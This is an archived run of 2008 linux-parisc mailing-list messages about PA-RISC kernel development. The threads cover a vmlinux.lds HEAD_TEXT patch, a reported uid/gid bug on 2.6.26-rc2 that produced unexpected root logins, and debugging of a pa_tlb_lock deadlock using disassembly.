 	hp_sdc_mlc_priv.emtestmode = 0;

-- 
Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds

--
To unsubscribe from this list: send the line "unsubscribe linux-input" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Git head doesn't boot on A500
Date: Sun, 18 May 2008 14:26:03 -0600
Lines: 52
Approved: news@gmane.org
Message-ID: <20080518202603.GA9093@colo.lackof.org>
References: <7d01f9f00805170620t30630519h4890037400c62fb5@mail.gmail.com> <20080517152623.GA26649@colo.lackof.org> <7d01f9f00805171752r4eb8ee5nbfee8f832677f792@mail.gmail.com> <20080518071342.GB26649@colo.lackof.org> <48305728.20403@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1211142415 5214 80.91.229.12 (18 May 2008 20:26:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 18 May 2008 20:26:55 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Thibaut VARENE <T-Bone@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 18 22:27:32 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JxpTE-0007Fq-Li
	for glpp-linux-parisc@gmane.org; Sun, 18 May 2008 22:27:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753830AbYERU0S (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 18 May 2008 16:26:18 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754881AbYERU0S
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 18 May 2008 16:26:18 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:41040 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753830AbYERU0R (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 18 May 2008 16:26:17 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 43F8D29805D;
	Sun, 18 May 2008 14:26:14 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10633-05; Sun, 18 May 2008 14:26:04 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id EF86D298058; Sun, 18 May 2008 14:26:03 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <48305728.20403@gmx.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:333
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/333>

On Sun, May 18, 2008 at 06:19:52PM +0200, Helge Deller wrote:
...
>> using ".text.head" (not .head.text) which has corresponding "code" in
>> their vmlinux.lds.  Could someone kindly point out how .head.text works 
>> for parisc?
>
> Yeah, my fault (no idea why it worked for me???).

Kyle's explanation sounds right or I expect the sections wouldn't
have been included at all (or something like that) - and maybe it
really only matters for SMP - ie getting secondary CPUs running.

> I see two options:
> 1) revert my patch (gets to linker warnings and have to build up a new 
> patch, ideally adding a section for .text.head to vmlinux.lds.S),
> 2) apply the attached patch.
>
> Opinions?

(2) works for me. I'm booting with 64-bit on a500...at least it's
now finding all the disks and attempting to mount NFS root.

>
> Helge

> diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
> index 50b4a3a..2e516b8 100644
> --- a/arch/parisc/kernel/vmlinux.lds.S
> +++ b/arch/parisc/kernel/vmlinux.lds.S
> @@ -50,6 +50,7 @@ SECTIONS
>  
>  	_text = .;		/* Text and read-only data */
>  	.text ALIGN(16) : {
> +		HEAD_TEXT

grundler <537>fgrep HEAD_TEXT include/*/*.h
include/asm-generic/vmlinux.lds.h:#define HEAD_TEXT  *(.head.text)

Yeah, I like that better than depending on *(.text) to include it.

thanks,
grant

>  		TEXT_TEXT
>  		SCHED_TEXT
>  		LOCK_TEXT

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: uid/gid issues on 2.6.26-rc2
Date: Sun, 18 May 2008 22:31:13 +0200
Lines: 63
Approved: news@gmane.org
Message-ID: <7d01f9f00805181331y77b83a35jb897b622f163b0ef@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1211142700 6053 80.91.229.12 (18 May 2008 20:31:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 18 May 2008 20:31:40 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 18 22:32:17 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JxpY9-0000uU-G6
	for glpp-linux-parisc@gmane.org; Sun, 18 May 2008 22:32:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752817AbYERUbS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 18 May 2008 16:31:18 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758584AbYERUbR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 18 May 2008 16:31:17 -0400
Original-Received: from yw-out-2324.google.com ([74.125.46.29]:37338 "EHLO
	yw-out-2324.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758556AbYERUbP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 18 May 2008 16:31:15 -0400
Original-Received: by yw-out-2324.google.com with SMTP id 9so954181ywe.1
        for <linux-parisc@vger.kernel.org>; Sun, 18 May 2008 13:31:14 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
        bh=bpOcgvYO9RJbkNaky35E1EStgUzxWjBFaXSnn1dEyh8=;
        b=pu2H0dR933YBi+Cx/m9Pv7ffDD7eXvB/kyAbe5rqYV/2iBf2jQlNk1ZkRW3Xcc0AwZTViWhCKzhpkhD7we0l7FG7lO/9H6je/+Tvty+O2HstA1Xe4TOn2R32gOOITTxQPTBRCJs35W0yAStj0A9cNdhKB7jarzFuGOJqxFcSzzw=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
        b=Rn0iJLDkNArPG3/83SKTMI0sYXfaIcSDqT7nQCPNI10O0OpLvscdq8mT4RsyEm2Zo4CEFGJZOBROymBbS4Ja7Uic2UO6FPq1EDuxU1oyPIvlOwe7i1Nn+Jie3Bwked9HZkB9zieN2011g7UcZfVeJgJ8CM4YeEKW7TUHYIZIzjI=
Original-Received: by 10.150.52.2 with SMTP id z2mr5610146ybz.47.1211142673830;
        Sun, 18 May 2008 13:31:13 -0700 (PDT)
Original-Received: by 10.151.51.16 with HTTP; Sun, 18 May 2008 13:31:13 -0700 (PDT)
Content-Disposition: inline
X-Google-Sender-Auth: ac39c3f190a271b5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:334
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/334>

Hi pa-ckers

I'm sorry to be yet again just a whistle blower, I couldn't dig that
situation more yet but I'd like to raise awareness in case someone
else experiences the same symptoms. Also, what I'm seeing is a major
security flaw...

I'm running TOB on my A500 nosmp (when running SMP the timer code
borks gently). Randomly, the system seems to goof off regarding uids
and gids.

Typically, I'd ssh into the box as a regular user, and I end up with a
root prompt. Sometimes "w" will output nothing. dpkg will complain
about non-existing vlock group, etc.

Installing some package (with apt-get) I got the following message:
dpkg: syntax error: unknown group `vlock' in statoverride file
Trying again, it worked just fine

WRT ssh:

>From the remote host, I sometime got:
varenet@dogma:~$ ssh mkhppa3
ssh_exchange_identification: Connection closed by remote host

Trying again, I ended up with a root shell. Logging out and back in I
eventually got my own user's prompt.

Then, checking auth.log, I spotted a few very surprising things:

May 18 09:15:04 mkhppa3 sshd[1265]: Invalid user varenet from 147.215.7.200
May 18 09:15:04 mkhppa3 sshd[1265]: Failed none for invalid user
varenet from 147.215.7.200 port 58220 ssh2

May 18 20:50:04 mkhppa3 sshd[12623]: fatal: Privilege separation user
sshd does not exist
May 18 20:50:08 mkhppa3 sshd[12624]: Invalid user lucas from 147.215.7.12
May 18 20:50:08 mkhppa3 sshd[12624]: Failed none for invalid user
lucas from 147.215.7.12 port 59591 ssh2

(needless to say, user "sshd" exists locally and "varenet" and "lucas"
are on the ldap db. Plus, he could log in on a second attempt)

also:
May 18 12:17:01 mkhppa3 CRON[1302]: pam_unix(cron:account): could not
identify user (from getpwnam(root))

There's not much more evidence (couldn't find anything in other
logfiles or in dmesg...), but the box clearly didn't expose any such
symptom when running 2.6.22.14

HTH

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: uid/gid issues on 2.6.26-rc2
Date: Sun, 18 May 2008 16:41:50 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <20080518204150.A520B4E43@hiauly1.hia.nrc.ca>
References: <7d01f9f00805181331y77b83a35jb897b622f163b0ef@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1211143327 7666 80.91.229.12 (18 May 2008 20:42:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 18 May 2008 20:42:07 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: T-Bone@parisc-linux.org (Thibaut VARENE)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 18 22:42:43 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JxpiI-0003b1-Ml
	for glpp-linux-parisc@gmane.org; Sun, 18 May 2008 22:42:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754124AbYERUlw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 18 May 2008 16:41:52 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754534AbYERUlw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 18 May 2008 16:41:52 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1722 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754124AbYERUlv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 18 May 2008 16:41:51 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id A520B4E43; Sun, 18 May 2008 16:41:50 -0400 (EDT)
In-Reply-To: <7d01f9f00805181331y77b83a35jb897b622f163b0ef@mail.gmail.com> from "Thibaut VARENE" at May 18, 2008 10:31:13 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:335
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/335>

> I'm sorry to be yet again just a whistle blower, I couldn't dig that
> situation more yet but I'd like to raise awareness in case someone
> else experiences the same symptoms. Also, what I'm seeing is a major
> security flaw...
> 
> I'm running TOB on my A500 nosmp (when running SMP the timer code
> borks gently). Randomly, the system seems to goof off regarding uids
> and gids.

I've seen the same with various 2.6.25 32-bit builds.  Haven't seen
it with 64-bit builds.  However, the 64-bit builds haven't been particularly
stable (a few hpmcs).  That's why I still like 2.6.22.19 with Kyle's
compat_sys_getdents, and a few minor bug fixes.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: BUG 2.6.26-rc2: deadlock with pa_tlb_lock
Date: Mon, 19 May 2008 23:39:53 -0600
Lines: 72
Approved: news@gmane.org
Message-ID: <20080520053953.GB11402@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1211262032 22106 80.91.229.12 (20 May 2008 05:40:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 20 May 2008 05:40:32 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 20 07:41:08 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from [209.132.176.167] (helo=vger.kernel.org)
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JyKay-0006Ga-CO
	for glpp-linux-parisc@gmane.org; Tue, 20 May 2008 07:41:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753870AbYETFkL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 20 May 2008 01:40:11 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754234AbYETFkL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 20 May 2008 01:40:11 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:39867 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753870AbYETFkK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 20 May 2008 01:40:10 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id C5EE34F80FA
	for <linux-parisc@vger.kernel.org>; Mon, 19 May 2008 23:40:08 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14612-04 for <linux-parisc@vger.kernel.org>;
	Mon, 19 May 2008 23:39:58 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0240F4F80FF; Mon, 19 May 2008 23:39:53 -0600 (MDT)
Content-Disposition: inline
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:336
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/336>

Hey,
2.6.26-rc2 with fixed vmlinux.lds netboots and with NFS root seems
to mostly work. But it did seem to deadlock. From the TOC (PIM) dump,
looks like a lock didn't get unlocked and both CPUs where spinning
trying to acquire that lock:

CPU0 IP  : 0x4011a23c _spin_lock+14
CPU0 GR02: 0x4011cb6c flush_kernel_dcache_page_addr+34

CPU1 IP  : 0x4011a23c _spin_lock+14
CPU1 GR02: 0x4011cabc __flush_tlb_range+74


flush_kernel_dcache_page_addr() is pretty short:

void flush_kernel_dcache_page_addr(void *addr)
{
        flush_kernel_dcache_page_asm(addr);
        purge_tlb_start();
        pdtlb_kernel(addr);
        purge_tlb_end();
}

Since I just updated my tree to 2.6.26-rc3, I'll use the asm from that:
...
  20:   2b 60 00 00     addil L%0,dp,r1
                        20: R_PARISC_DLTIND21L  pa_tlb_lock
  24:   50 3a 00 00     ldd 0(r1),r26
                        24: R_PARISC_DLTIND14R  pa_tlb_lock
  28:   37 dd 3f a1     ldo -30(sp),ret1
  2c:   e8 00 a0 00     b,l 34 <flush_kernel_dcache_page_addr+0x34>,rp
                        2c: R_PARISC_PCREL22F   _spin_lock
  30:   08 1b 02 44     copy dp,r4
  34:   08 04 02 5b     copy r4,dp
  38:   04 a0 12 00     pdtlb r0(r5)
  3c:   34 1c 00 02     ldi 1,ret0
...

So while the offset looks wrong, __flush_tlb_range has a similar
construct:

  5c:   2b 60 00 00     addil L%0,dp,r1
                        5c: R_PARISC_DLTIND21L  pa_tlb_lock
  60:   08 1b 02 44     copy dp,r4
  64:   50 26 00 00     ldd 0(r1),r6
                        64: R_PARISC_DLTIND14R  pa_tlb_lock
  68:   37 dd 3f a1     ldo -30(sp),ret1
  6c:   e8 00 a0 00     b,l 74 <__flush_tlb_range+0x74>,rp
                        6c: R_PARISC_PCREL22F   _spin_lock
  70:   08 06 02 5a     copy r6,r26
  74:   08 04 02 5b     copy r4,dp
  78:   2b 60 00 00     addil L%0,dp,r1
                        78: R_PARISC_DLTIND21L  split_tlb
  7c:   50 3c 00 00     ldd 0(r1),ret0
                        7c: R_PARISC_DLTIND14R  split_tlb
  80:   0f 80 10 9f     ldw 0(ret0),r31
  84:   87 e0 20 72     cmpib,=,n 0,r31,c4 <__flush_tlb_range+0xc4>
  88:   9c a0 20 28     cmpb,*= r0,r5,a4 <__flush_tlb_range+0xa4>

So I'm pretty sure, whatever is wrong, it's got something to do
with pa_tlb_lock.

Rebuilding now with gcc-4.2 (instead of gcc-4.3) and retesting
with 2.6.26-rc3.

hth,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: BUG 2.6.26-rc2: deadlock with pa_tlb_lock
Date: Tue, 20 May 2008 00:25:04 -0600
Lines: 55
Approved: news@gmane.org
Message-ID: <20080520062502.GC11402@colo.lackof.org>
References: <20080520053953.GB11402@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1211264830 30249 80.91.229.12 (20 May 2008 06:27:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 20 May 2008 06:27:10 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 20 08:27:42 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JyLK1-00024s-N2
	for glpp-linux-parisc@gmane.org; Tue, 20 May 2008 08:27:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754726AbYETG0z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 20 May 2008 02:26:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754863AbYETG0z
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 20 May 2008 02:26:55 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:40459 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754726AbYETG0y (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 20 May 2008 02:26:54 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 6CEFD6F8040
	for <linux-parisc@vger.kernel.org>; Tue, 20 May 2008 00:25:48 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18239-07 for <linux-parisc@vger.kernel.org>;
	Tue, 20 May 2008 00:25:22 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 022544F80FA; Tue, 20 May 2008 00:25:08 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080520053953.GB11402@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:337
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/337>

On Mon, May 19, 2008 at 11:39:53PM -0600, Grant Grundler wrote:
...

I've parked the full TOC dump on:
    http://iou.parisc-linux.org/~grundler/console/a500-2.6.26-rc2-deadlock-01

(aka gsyprf11:~grundler/console/...)

> Since I just updated my tree to 2.6.26-rc3, I'll use the asm from that:
> ...
>   20:   2b 60 00 00     addil L%0,dp,r1
>                         20: R_PARISC_DLTIND21L  pa_tlb_lock
...
> So I'm pretty sure, whatever is wrong, it's got something to do
> with pa_tlb_lock.

After staring at the code a bit, I'm wondering if we are guaranteed
to ONLY acquire pa_tlb_lock while interrupts are blocked or is guaranteed
to never be used in the interrupt context. Its not blocking
local interrupts:
#define purge_tlb_start(x) spin_lock(&pa_tlb_lock)

I can't see any other possible cause of deadlock.


And while trying to understand how pdtlb is used (to serialize issueing
pdtlb ops), I think I found one use of "pdtlb" in pacache.S that does
NOT have the pa_tlb_lock protecting it: __clear_user_page_asm()

>From the comments, I gather only N-class is known to need this so
that's not likely to be related to what the deadlock I hit.

> Rebuilding now with gcc-4.2 (instead of gcc-4.3) and retesting
> with 2.6.26-rc3.

This HPMC'd before getting any console output. :(
Stupid "Virtual Front Panel" obscured any following output.

Something must have been still gummed up from the TOC and
idiot booted with NFS root on the first retry.

But running dselect install (update, select both worked) hung with:
Reading package lists... Done

serial console is not responsive either. Well, ^B gets me GSP so
I know the link is working.

hth,
grant

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rubisher" <rubi.sher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:BUG 2.6.26-rc2: deadlock with pa_tlb_lock
Date: Tue, 20 May 2008 13:36:14 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <K1630E$CD50E274087F116859994AEA72189418@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1211287878 10373 80.91.229.12 (20 May 2008 12:51:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 20 May 2008 12:51:18 +0000 (UTC)
Cc: "linux-parisc" <linux-parisc@vger.kernel.org>,
	"rubisher" <rubisher@scarlet.be>
To: "grundler" <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 20 14:51:56 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JyRJY-0006ds-Lz
	for glpp-linux-parisc@gmane.org; Tue, 20 May 2008 14:51:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752538AbYETMuu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 20 May 2008 08:50:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753913AbYETMuu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 20 May 2008 08:50:50 -0400
Original-Received: from sif.is.scarlet.be ([193.74.71.28]:57538 "EHLO sif.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752538AbYETMut convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 20 May 2008 08:50:49 -0400
X-Greylist: delayed 821 seconds by postgrey-1.27 at vger.kernel.org; Tue, 20 May 2008 08:50:49 EDT
Original-Received: from scarlet.be (taj.is.scarlet.be [193.74.71.42])
	by sif.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m4KCaEM8010374;
	Tue, 20 May 2008 14:36:15 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: sif; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:338
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/338>

Hello,

> Hey,
> 
> Rebuilding now with gcc-4.2 (instead of gcc-4.3) and retesting
> with 2.6.26-rc3.
> 
Just a short report, tbh I didn't pay attention that gcc-4.3 became the
default gcc on my unstable install:
same Kyle git tree 2.6.26-rc2 + fixed vmlinux.lds 32bit up build for d380 &
b2k with new gcc-4.3 boot well but nic failed to work (either from box ping
outside or the contrary: nothing respond)? (the same for the 2 different boxes.)

Otoh, same src tree rebuild with gcc-4.2 works fine on the boxes without any
other chg.

Hth,
  r.



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: BUG 2.6.26-rc2: deadlock with pa_tlb_lock
Date: Tue, 20 May 2008 13:53:01 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <20080520195301.GA28189@colo.lackof.org>
References: <K1630E$CD50E274087F116859994AEA72189418@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1211313310 15474 80.91.229.12 (20 May 2008 19:55:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 20 May 2008 19:55:10 +0000 (UTC)
Cc: grundler <grundler@parisc-linux.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	rubisher <rubisher@scarlet.be>
To: rubisher <rubi.sher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 20 21:55:47 2008
